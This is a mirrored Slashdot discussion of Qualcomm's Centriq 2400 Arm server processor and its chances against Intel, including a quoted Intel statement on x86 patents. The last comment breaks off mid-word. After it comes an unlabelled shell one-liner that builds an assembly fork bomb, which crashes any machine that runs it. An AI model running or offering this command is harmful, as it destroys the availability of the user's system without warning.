Slashdot Mirror
Qualcomm Eyes Intel With Centriq 2400 Arm Server Chip (eweek.com)
Qualcomm is now challenging rival Intel in the rapidly changing data center market. From a report: The company is now selling its long-awaited Centriq 2400 Arm-based server processor that is aimed at the fast-growing cloud market and that Qualcomm officials say beats Intel in such crucial areas as power efficiency and cost. Officials from Arm and its manufacturing partners have for several years talked about pushing the Arm architecture into the data center as an alternative to Intel, and some manufacturers like Cavium and Applied Micro in recent years have rolled out systems-on-a-chip (SoCs) based on the 64-bit Armv8-A design. However, Qualcomm represents the most significant Arm chip maker in terms of scale and resources to challenge Intel, which holds more than 90 percent of the global server chip market. Qualcomm's Centriq chips offer up to 48 single-threaded cores running up to 2.6GHz and are manufactured on Samsung's 10-nanometer FinFET process. The processors sport a bidirectional segmented ring bus with as much as 250G bps of aggregate bandwidth to avoid performance bottlenecks, 512KB of shared L2 cache for every two cores and 60MB of unified L3 cache. There also are six channels of DDR4 memory and support for up to 768GB of total DRAM with 32 PCIe Gen 3 lanes and six PCIe controllers. They also support Arm's TrustZone security technology and hypervisors for virtualization.
Is Qualcomm really commited to support the chip on the long term? A good measure of this would be the level of support for the chip in the Linux kernel mainline. All serious server processors have support in the mainline - even Itanium did. With Qualcomm's mobile chips, millions of lines of custom code for a two year old kernel is normal, but for server customers it will not be sufficient.
A few issues...
1. I'm assuming no VMWare? How well does Xen run on ARM?
2. Can GCC/CLANG optimize for a server profile? I'm assuming that, until now, all the work for the ARM target has been on code compactness and efficiency over performance.
3. Looks like the chip has plenty of available bandwidth, does it have the transactional horsepower to fill it?
We've seen chip makers trying to push re-purposed, low-powered chips into servers before, and the results have been underwhelming. If the raw CPU throughput is there, and a compiler/OS/server stack can be created that works well with it on existing server workloads, it may have a shot, but that's a lot of if's.
My Other Computer Is A Data General Nova III.
There has been a lot of talk about Qualcomm ARM chips taking over from Intel. The problem is when you look at the benchmarks they're rather underwhelming. Eg.
http://weborus.com/snapdragon-...
The Snapdragon 835 is a great device if you're running Android. If you're running something like Photoshop I predict performance is going to be disappointing. Microsoft's 'Windows on a Snapdragon' video shows Photoshop running. It doesn't mention performance
https://www.youtube.com/watch?...
It's the same with server stuff. And of course Intel have threatened people with a patent lawsuit on SIMD
https://newsroom.intel.com/edi...
Protecting x86 ISA Innovation
Intel invests enormous resources to advance its dynamic x86 ISA, and therefore Intel must protect these investments with a strong patent portfolio and other intellectual property rights. The following graph shows that relentless instruction set innovation translates into a deep and dynamic patent portfolio with over 1,600 patents worldwide relating to instruction set implementations.
https://imgur.com/a/x0K2V
New x86 Instructions and Related Patents
Intel carefully protects its x86 innovations, and we do not widely license others to use them. Over the past 30 years, Intel has vigilantly enforced its intellectual property rights against infringement by third-party microprocessors. One of the earliest examples, was Intelâ(TM)s enforcement of its seminal âoeCrawford â(TM)338 Patent.â In the early days of our microprocessor business, Intel needed to enforce its patent rights against various companies including United Microelectronics Corporation, Advanced Micro Devices, Cyrix Corporation, Chips and Technologies, Via Technologies, and, most recently, Transmeta Corporation. Enforcement actions have been unnecessary in recent years because other companies have respected Intelâ(TM)s intellectual property rights.
However, there have been reports that some companies may try to emulate Intelâ(TM)s proprietary x86 ISA without Intelâ(TM)s authorization. Emulation is not a new technology, and Transmeta was notably the last company to claim to have produced a compatible x86 processor using emulation (âoecode morphingâ) techniques. Intel enforced patents relating to SIMD instruction set enhancements against Transmetaâ(TM)s x86 implementation even though it used emulation. In any event, Transmeta was not commercially successful, and it exited the microprocessor business 10 years ago.
Only time will tell if new attempts to emulate Intelâ(TM)s x86 ISA will meet a different fate. Intel welcomes lawful competition, and we are confident that Intelâ(TM)s microprocessors, which have been specifically optimized to implement Intelâ(TM)s x86 ISA for almost four decades, will deliver amazing experiences, consistency across applications, and a full breadth of consumer offerings, full manageability and IT integration for the enterprise. However, we do not welcome unlawful infringement of our patents, and we fully expect other companies to continue to respect Intelâ(TM)s intellectual property rights. Strong intellectual property protections make it possible for Intel to continue to invest the enormous resources required to advance Intelâ(TM)s dynamic x86 ISA, and Intel will maintain its vigilance to protect its innovations and investments.
If Microsoft can't transform SSE instructions into an ARM SIMD instruction set due to patents on SSE, Photoshop will suck if it's run through Microsoft's x86 to ARM64 JIT engine. And the odds are something like Photoshop is using bits of SSE which are still patented and will be for some time.
Even if you don't emulate and run code nati
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;